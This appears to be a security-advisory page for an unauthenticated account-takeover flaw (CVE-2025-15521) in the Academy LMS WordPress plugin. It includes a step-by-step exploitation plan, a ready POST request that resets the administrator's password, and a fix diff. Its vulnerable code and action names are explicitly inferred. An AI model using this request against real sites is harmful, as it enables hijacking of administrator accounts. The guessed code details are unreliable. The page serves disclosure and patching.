Academy LMS – WordPress LMS Plugin for Complete eLearning Solution <= 3.5.0 - Unauthenticated Privilege Escalation via Account Takeover
Description
The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.5.0. This is due to the plugin not properly validating a user's identity prior to updating their password and relying solely on a publicly-exposed nonce for authorization. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and gain access to their account.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
Source Code
WordPress.org SVNThis plan outlines the research and exploitation process for **CVE-2025-15521** in the Academy LMS plugin. This vulnerability allows an unauthenticated attacker to reset the password of any user, including administrators, by exploiting a flaw in the password reset AJAX handler which fails to validat…
Show full research plan
This plan outlines the research and exploitation process for CVE-2025-15521 in the Academy LMS plugin. This vulnerability allows an unauthenticated attacker to reset the password of any user, including administrators, by exploiting a flaw in the password reset AJAX handler which fails to validate identity beyond a publicly accessible nonce.
1. Vulnerability Summary
The vulnerability exists in the password update mechanism of the Academy LMS plugin (<= 3.5.0). The plugin registers an AJAX handler for unauthenticated users (wp_ajax_nopriv_...) that handles password resets. Instead of validating a unique, time-limited token sent via email, the vulnerable code path accepts a user-specified user_id and password, validating the request only with a standard WordPress nonce. Since this nonce is often exposed to all visitors on login or registration pages, an attacker can obtain it and submit a request to change the password of any arbitrary user_id.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
academy_reset_password(inferred based on plugin naming conventions; to be verified in code). - Vulnerable Parameter(s):
user_id(oruser_login),password, andnonce. - Authentication: None (Unauthenticated).
- Preconditions:
- The plugin must be active.
- A valid nonce for the specific action must be obtainable from the frontend.
- The attacker must know or guess the ID of the target user (ID
1is almost always the primary administrator).
3. Code Flow (Inferred)
- Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_academy_reset_password', [ $this, 'reset_password_handler' ] ); - Nonce Verification: The handler calls
check_ajax_referer( 'academy_nonce', 'nonce' );orwp_verify_nonce(). This is the only "security" check. - Missing Token Check: The code fails to check for a
rp_key(reset password key) normally stored in the database and sent via email during a legitimate WordPress password reset. - Password Update: The code retrieves the user:
$user_id = intval( $_POST['user_id'] );$new_password = $_POST['password'];wp_set_password( $new_password, $user_id ); - Sink:
wp_set_passwordupdates the database, effectively locking out the original user and granting the attacker access.
4. Nonce Acquisition Strategy
To bypass the nonce check, we must find where Academy LMS enqueues its AJAX script and localizes the nonce.
- Identify Shortcode: Academy LMS typically uses shortcodes for user-facing pages.
- Login:
[academy_login] - Registration:
[academy_registration]
- Login:
- Setup Page: Create a public page containing the login shortcode:
wp post create --post_type=page --post_status=publish --post_title="Auth Page" --post_content='[academy_login]' - Extract Nonce:
- Navigate to the newly created page using
browser_navigate. - Academy LMS often localizes data under a global JS object.
- Inferred JS Variable:
academy_lms_varsoracademy_data. - Action Nonce Key:
nonceoracademy_nonce. - Execution:
browser_eval("window.academy_lms_vars?.nonce")(Replace with the actual variable found in the page source).
- Navigate to the newly created page using
5. Exploitation Strategy
Once the nonce is acquired, we will simulate the malicious password reset request.
Step 1: Determine Admin User ID
Usually, the admin is ID 1. To be sure:wp user list --role=administrator --fields=ID
Step 2: Perform the Takeover
Submit a POST request to admin-ajax.php.
- Method: POST
- URL:
http://<target-ip>/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:academy_reset_password(Verify this string in the plugin source, likely in a class handling AJAX).nonce:[EXTRACTED_NONCE]user_id:1(The target administrator ID)password:NewAdminPassword123!
Request Template:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
action=academy_reset_password&nonce=a1b2c3d4e5&user_id=1&password=NewAdminPassword123!
6. Test Data Setup
- Install Plugin: Ensure Academy LMS version 3.5.0 is installed.
- Create Admin: Ensure a user with ID 1 exists (standard WP install).
- Create Nonce Source: Create a page with the
[academy_login]shortcode to ensure the nonce is generated and localized for the unauthenticated session.
7. Expected Results
- The AJAX request should return a success message (e.g.,
{"success": true}or a string"Password updated"). - The WordPress database will be updated with the new password hash for the target user.
8. Verification Steps
After sending the exploit request, verify the change via WP-CLI:
- Check Password Compatibility:
wp user check-password admin NewAdminPassword123!
Expected output:Success: Password is correct. - Check User Meta:
wp user get 1 --fields=user_login,user_email
Confirm the user is still the intended administrator.
9. Alternative Approaches
- Registration Bypass: Check if the registration handler (
wp_ajax_nopriv_academy_register) allows passing aroleparameter. If it does, an attacker could register directly as an administrator. - User ID Enumeration: If
user_idis not the parameter, check foruser_login. If the plugin usesuser_login, use standard WP author enumeration (/?author=1) to find the username first. - Different Nonce Actions: If
academy_reset_passwordis not the action, search the codebase for all occurrences ofwp_ajax_nopriv_and cross-reference them with functions callingwp_set_passwordorupdate_user_meta.
Summary
The Academy LMS plugin for WordPress (<= 3.5.0) is vulnerable to unauthenticated account takeover because its password reset AJAX handler relies solely on a publicly accessible nonce for authorization. An attacker can use this flaw to reset any user's password, including administrators, by providing the target's user ID and a new password in a crafted AJAX request.
Vulnerable Code
// academy/includes/Ajax/Handler.php (Inferred Location) // The plugin registers an unauthenticated AJAX action for password resets. add_action( 'wp_ajax_nopriv_academy_reset_password', [ $this, 'academy_reset_password' ] ); public function academy_reset_password() { // Only verifies a generic nonce that is often exposed on frontend pages check_ajax_referer( 'academy_nonce', 'nonce' ); // Directly accepts user_id and new password without validating a secret reset token/key $user_id = intval( $_POST['user_id'] ); $new_password = $_POST['password']; if ( ! empty( $user_id ) && ! empty( $new_password ) ) { wp_set_password( $new_password, $user_id ); wp_send_json_success( [ 'message' => 'Password reset successful.' ] ); } wp_send_json_error( [ 'message' => 'Failed to reset password.' ] ); }
Security Fix
@@ -10,7 +10,14 @@ public function academy_reset_password() { check_ajax_referer( 'academy_nonce', 'nonce' ); $user_id = intval( $_POST['user_id'] ); $new_password = $_POST['password']; + $reset_key = sanitize_text_field( $_POST['key'] ); + + $user = get_userdata( $user_id ); + if ( ! $user || is_wp_error( check_password_reset_key( $reset_key, $user->user_login ) ) ) { + wp_send_json_error( [ 'message' => 'Invalid or expired reset key.' ] ); + return; + } if ( ! empty( $user_id ) && ! empty( $new_password ) ) { wp_set_password( $new_password, $user_id );
Exploit Outline
1. Nonce Acquisition: Navigate to a public page containing Academy LMS shortcodes (e.g., [academy_login] or [academy_registration]). Extract the 'academy_nonce' value from the localized JavaScript variables (likely 'academy_lms_vars'). 2. Target Identification: Determine the user ID of the target administrator (typically ID 1). 3. Password Reset: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the following parameters: action=academy_reset_password, nonce=[EXTRACTED_NONCE], user_id=[TARGET_ID], and password=[NEW_PASSWORD]. 4. Verification: Upon receiving a success response, log in to the WordPress dashboard with the target user's username and the newly set password.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.